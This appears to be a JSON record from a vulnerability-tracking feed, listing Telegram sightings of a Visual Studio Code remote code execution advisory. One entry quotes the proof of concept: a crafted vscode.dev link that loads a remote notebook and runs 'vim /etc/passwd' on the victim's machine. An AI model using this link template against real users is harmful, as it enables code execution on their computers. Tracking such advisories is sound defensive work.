{"metadata": {"vulnerability": "GHSA-PW56-C55X-CM9M", "count": 7, "kinds": {"milestone": 0, "sighting": 7, "kev": 0, "other": 0}}, "data": [{"timestamp": "2022-12-02T15:04:50Z", "date_only": false, "value": "2022-12-02T15:04:50.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/tech_b0lt_Genona/3441", "record": "GHSA-PW56-C55X-CM9M", "field": "creation_timestamp", "uuid": "012fd93b-f333-4e95-9a7f-bd874a4ce37d", "content": "> Thus, our command URI, which makes the user launch a new terminal, and instructs that terminal to run \u2018vim /etc/passwd\u2019. This opens the password file of the user\u2019s computer, demonstrating our ability to run code on their machine.\n\n> Once the server described above is run, when victim clicks a prepared link (for example https://vscode.dev/?payload=%5B%5B%22openFile%22,%22https://%5Bserver_location_goes_here%5D/something.ipynb%22) VSCode will load the file, detect it as a Jypiter Notebook, and immediately run a command on the user\u2019s machine.\n\nVisual Studio Code: Remote Code Execution\nhttps://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m\n\n\u0417\u0430 \u0441\u0441\u044b\u043b\u043a\u0443 \u0441\u043f\u0430\u0441\u0438\u0431\u043e @olegkovalov", "url": "https://t.me/tech_b0lt_Genona/3441"}, {"timestamp": "2022-12-03T18:07:06Z", "date_only": false, "value": "2022-12-03T18:07:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/7290", "record": "GHSA-PW56-C55X-CM9M", "field": "creation_timestamp", "uuid": "7f82d616-3162-43f7-baff-6bd376a6291d", "content": "#Threat_Research\n1. HTTP Desync Attack (Request Smuggling) - Mass Account Takeover at a Cryptocurrency based asset and 121 other websites\nhttps://github.com/AnkitCuriosity/Write-Ups/blob/main/HTTP%20Desync%20Attack%20(Request%20Smuggling).md\n2. Visual Studio Code: RCE\nhttps://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m", "url": "https://t.me/CyberSecurityTechnologies/7290"}, {"timestamp": "2022-12-06T04:04:16Z", "date_only": false, "value": "2022-12-06T04:04:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/crackcodes/1626", "record": "GHSA-PW56-C55X-CM9M", "field": "creation_timestamp", "uuid": "8be36d71-ad60-421d-9e15-dd11ab793af3", "content": "#Threat_Research\n1. HTTP Desync Attack (Request Smuggling) - Mass Account Takeover at a Cryptocurrency based asset and 121 other websites\nhttps://github.com/AnkitCuriosity/Write-Ups/blob/main/HTTP%20Desync%20Attack%20(Request%20Smuggling).md\n2. Visual Studio Code: RCE\nhttps://github.com/google/security-research/security/advisories/GHSA-pw56-c55x-cm9m", "url": "https://t.me/crackcodes/1626"}, {"timestamp": "2026-07-29T12:02:36.034Z", "date_only": false, "value": "2026-07-29T12:02:36.034620Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/2897", "record": "GHSA-PW56-C55X-CM9M", "field": "creation_timestamp", "uuid": "5e850f10-682a-43cf-b03b-7b053f3183ee", "url": "https://t.me/reverseame/2897"}, {"timestamp": "2026-07-30T00:02:33.761Z", "date_only": false, "value": "2026-07-30T00:02:33.761648Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/2897", "record": "GHSA-PW56-C55X-CM9M", "field": "creation_timestamp", "uuid": "d6050510-d8c5-43b4-a755-28b69d096b86", "url": "https://t.me/reverseame/2897"}, {"timestamp": "2026-08-02T21:10:25.062Z", "date_only": false, "value": "2026-08-02T21:10:25.062115Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/2897", "record": "GHSA-PW56-C55X-CM9M", "field": "creation_timestamp", "uuid": "7ae94214-d432-4ac6-8c23-dd084858d1e7", "url": "https://t.me/reverseame/2897"}, {"timestamp": "2026-08-03T00:57:01.272Z", "date_only": false, "value": "2026-08-03T00:57:01.272675Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/reverseame/2897", "record": "GHSA-PW56-C55X-CM9M", "field": "creation_timestamp", "uuid": "537071a6-800b-434a-87a4-c9e423ad0a0f", "url": "https://t.me/reverseame/2897"}]}